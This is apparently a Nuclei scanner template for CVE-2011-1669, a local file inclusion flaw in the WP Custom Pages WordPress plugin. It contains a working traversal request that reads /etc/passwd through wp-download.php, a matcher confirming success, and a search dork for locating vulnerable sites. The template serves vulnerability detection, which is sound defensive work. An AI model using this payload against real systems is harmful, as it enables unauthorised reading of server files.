id: CVE-2011-1669

info:
  name: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.
  impact: |
    An attacker can read arbitrary files on the server, potentially leading to unauthorized access to sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669
    - https://www.exploit-db.com/exploits/17119
    - http://www.exploit-db.com/exploits/17119
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/66559
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-1669
    cwe-id: CWE-22
    epss-score: 0.01218
    epss-percentile: 0.79294
    cpe: cpe:2.3:a:mikoviny:wp_custom_pages:0.5.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mikoviny
    product: wp_custom_pages
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve,cve2011,edb,wordpress,wp-plugin,lfi,mikoviny,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220588af431a77df147e71b06525b633b4328d4f62b8c3add59207597be948efc60022100e4b046cd2118ac85f310cd1e4973f1089f7d8edb7a8b473850d6eabd7cb9635b:922c64590222798bb761d5b6d8e72950